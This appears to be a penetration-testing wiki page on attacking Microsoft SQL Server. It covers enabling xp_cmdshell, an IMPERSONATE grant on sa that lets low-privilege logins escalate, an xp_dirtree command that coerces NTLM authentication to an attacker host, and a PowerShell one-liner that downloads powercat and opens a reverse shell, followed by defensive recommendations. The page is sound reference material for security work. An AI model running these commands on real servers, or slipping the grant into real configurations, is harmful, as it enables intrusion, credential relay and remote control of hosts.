MS SQL Server

Microsoft SQL Server is the highest-density privilege target on a typical internal Windows network: it runs as a privileged service account, advertises itself in Active Directory via SPNs, holds linked-server credentials, and ships with an extended stored procedure — xp_cmdshell — that turns SQL sysadmin access into OS command execution. This page is the hub for direct SQL Server attack primitives; for AD-driven discovery and linked-server crawling see attack-ms-sql-server-powerupsql, and for the Metasploit module set see metasploit-ms-sql-modules.

xp_cmdshell: SQL sysadmin to OS shell

xp_cmdshell spawns a Windows command shell from T-SQL and executes it with the security rights of the SQL Server service account. It is disabled by default on new installations, and Microsoft recommends leaving it that way — but a sysadmin can enable it at runtime with sp_configure, no restart required:

-- Enable MS SQL "advanced options"
sp_configure 'Show Advanced Options', 1;
RECONFIGURE;
 
-- Enable xp_cmdshell stored procedure
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Once enabled, any EXEC master.sys.xp_cmdshell '<command>' runs synchronously on the host as the service account. When a non-sysadmin calls it, SQL Server falls back to the ##xp_cmdshell_proxy_account## credential (if one is configured) — so the privilege context of a breakout is either the service account or a deliberately provisioned proxy, never the SQL login itself. Because enabling it flips a server-level configuration value, it shows up in security audit tooling and sp_configure monitoring.

Impersonation for low-privilege SQL users

If a web application authenticates to SQL Server as a low-privilege login, granting that login the right to impersonate sa collapses the privilege boundary entirely — the app account can then enable and run xp_cmdshell itself:

-- OPTIONAL: allow all users to impersonate the "sa" (database
-- administrator) user — this enables low-privilege website users
-- to run xp_cmdshell
USE master;
GRANT IMPERSONATE ON LOGIN::sa TO [public];

This is a misconfiguration worth checking on assessments: IMPERSONATE grants are a quiet privilege-escalation path inside the database tier that never touches the OS.

xp_dirtree as NTLM coercion

The xp_dirtree extended procedure lists a directory — including over a UNC path — which forces the SQL Server service account to authenticate via SMB to an attacker-controlled host. That makes it a coercion primitive for ntlm-relay-attacks when SMB signing isn’t enforced:

-- Coerce MS SQL into connecting using SMB to an attacker at
-- 1.2.3.4. Useful for NTLM relay attacks (if SMB signing isn't
-- turned on, that is).
EXEC master.sys.xp_dirtree '\\1.2.3.4\share', 1, 1;

Shell delivery via xp_cmdshell

The classic payload path downloads and executes powercat — a pure-PowerShell re-implementation of netcat — from an attacker web server (Python’s built-in http.server works fine) and connects back for a reverse shell:

-- Download and execute Powercat from an attacker at 1.2.3.4
-- (using the built-in Python web server) and connect back to
-- that IP on port 1337. This should in general be caught by
-- IDS/IPS systems, including Defender... but it works
-- out-of-the-box a surprising number of times.
EXEC master.sys.xp_cmdshell 'powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString(''http://1.2.3.4:8000/powercat.ps1''); powercat -c 1.2.3.4 -p 1337 -e cmd.exe"'

xp_cmdshell can also be used inside triggers, which provides persistence that fires on database activity rather than on a schedule or service start.

Recon without Metasploit

nmap’s NSE scripts cover the same ground as the Metasploit auxiliaries: ms-sql-info for server enumeration, ms-sql-empty-password for blank sa (see mssql-empty-sa-xp-cmdshell), and ms-sql-xp-cmdshell for post-auth command execution. UDP 1434 (SQL Browser) reveals named instances and their TCP ports — the same service mssql_ping queries.

Defense notes

  • Leave xp_cmdshell disabled (default); alert on sp_configure changes enabling it and on any execution — Microsoft explicitly notes it triggers security audit tools
  • Audit IMPERSONATE grants (sys.server_permissions) — GRANT IMPERSONATE ON LOGIN::sa to broad principals is a critical misconfiguration
  • Run SQL Server under a least-privilege service account (ideally a gMSA) so a cmdshell breakout isn’t instant high privilege on the host
  • Alert on SQL service accounts making outbound SMB connections to non-fileserver hosts — that’s the xp_dirtree coercion signature
  • Restrict TCP 1433 / UDP 1434 to application tiers; there is rarely a reason for user-VLAN access

Sources